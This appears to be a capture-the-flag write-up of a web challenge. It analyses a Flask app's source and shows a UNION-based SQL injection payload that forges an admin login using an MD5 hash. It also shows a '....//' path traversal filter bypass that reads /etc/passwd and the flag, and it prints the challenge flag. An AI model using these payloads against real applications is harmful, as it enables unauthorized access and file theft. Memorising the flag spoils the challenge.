Orbital
4 minutes to read
We are given a website like this:
We also have the source code in Python.
Source code analysis
The web application is built with Flask. A clear SQL injection (SQLi) vulnerability can be found at database.py
:
from colorama import Cursor
from application.util import createJWT, passwordVerify
from flask_mysqldb import MySQL
mysql = MySQL()
def query(query, args=(), one=False):
cursor = mysql.connection.cursor()
cursor.execute(query, args)
rv = [dict((cursor.description[idx][0], value)
for idx, value in enumerate(row)) for row in cursor.fetchall()]
return (rv[0] if rv else None) if one else rv
def login(username, password):
# I don't think it's not possible to bypass login because I'm verifying the password later.
user = query(f'SELECT username, password FROM users WHERE username = "{username}"', one=True)
if user:
passwordCheck = passwordVerify(user['password'], password)
if passwordCheck:
token = createJWT(user['username'])
return token
else:
return False
def getCommunication():
return query('SELECT * from communication')
Moreover, the password is verified against a MD5 hash:
def passwordVerify(hashPassword, password):
md5Hash = hashlib.md5(password.encode())
if md5Hash.hexdigest() == hashPassword: return True
else: return False
def isAuthenticated(f):
@wraps(f)
def decorator(*args, **kwargs):
token = session.get('auth')
if not token:
return abort(401, 'Unauthorised access detected!')
verifyJWT(token)
return f(*args, **kwargs)
return decorator
If we analyze blueprints/routes.py
we see that as long as we are authenticated, we can access /export
, which is an endpoint that allows us to download files from the server. Here we can perform a Directory Traversal attack (../
) and obtain a Local File Read (LFR) vulnerability. This will allow us to exfiltrate sensitive files from the server (namely, the flag):
@api.route('/export', methods=['POST'])
@isAuthenticated
def exportFile():
if not request.is_json:
return response('Invalid JSON!'), 400
data = request.get_json()
communicationName = data.get('name', '')
try:
# Everyone is saying I should escape specific characters in the filename. I don't know why?
communicationName = communicationName.replace('../', '')
return send_file(f'/communications/{communicationName}', as_attachment=True)
except:
return response('Unable to retrieve the communication'), 400
Notice that there is a filter that replaces ../
by a blank string. This is easy to bypass with a payload like ....//
, since after removing ../
, the remaining payload will be ../
, and the Directory Traversal attack will work.
SQLi exploitation
The vulnerability exists because the server enters the username
variable directly into the query, assuming that the variable won’t contain nothing malicious. If we use a double quote, the syntax of query will be modified and we could potentially control the full database.
Notice that the query must return a username and a password hash that matches with the plaintext password introduced in the login form (because of the comment and the implemented authentication method).
We can do this using a UNION
query like this:
SELECT username, password FROM users WHERE username = "" UNION SELECT "<user>", "<password-hash>"
Taking a look at entrypoint.sh
, we see that there’s a user named admin
. This will be our victim. The password we will set is asdf
. Thus, we will enter the following string in the user field:
" UNION SELECT "admin", "912ec803b2ce49e4a541068d495ab570
Notice that the MD5 hash for asdf
is:
$ echo -n asdf | md5sum
912ec803b2ce49e4a541068d495ab570 -
And we are in:
LFR exploitation
The export functionality is at the bottom of the page:
We can use Burp Suite (Repeater) to analyze the request and the response:
As a proof of concept, we can read the /etc/passwd
file using Directory Traversal (and the filter bypass):
Before requesting the flag, we must check what is the exact filename. In the Dockerfile
, we see that it is copied as signal_sleuth_firmware
:
FROM python:3.8-alpine
# Install packages
RUN apk add --no-cache --update mariadb mariadb-client supervisor gcc musl-dev mariadb-connector-c-dev
# Upgrade pip
RUN python -m pip install --upgrade pip
# Install dependencies
RUN pip install Flask flask_mysqldb pyjwt colorama
# Setup app
RUN mkdir -p /app
RUN mkdir -p /communication
# Switch working environment
WORKDIR /app
# Add application
COPY challenge .
# Setup supervisor
COPY config/supervisord.conf /etc/supervisord.conf
# Expose port the server is reachable on
EXPOSE 1337
# Disable pycache
ENV PYTHONDONTWRITEBYTECODE=1
# copy flag
COPY flag.txt /signal_sleuth_firmware
COPY files /communications/
# create database and start supervisord
COPY --chown=root entrypoint.sh /entrypoint.sh
RUN chmod +x /entrypoint.sh
ENTRYPOINT ["/entrypoint.sh"]
Flag
So, let’s read the flag:
HTB{s3qu3l_4nd_lf1s_4r3_fun!!}
Actually, the flag refers to Time-Based SQLi, which is a technique used to dump fields of the database by characters (one by one) using a time oracle. It is possible to use tools like sqlmap
to automate the attack. However, the Union-based SQLi approach is also valid and even smarter.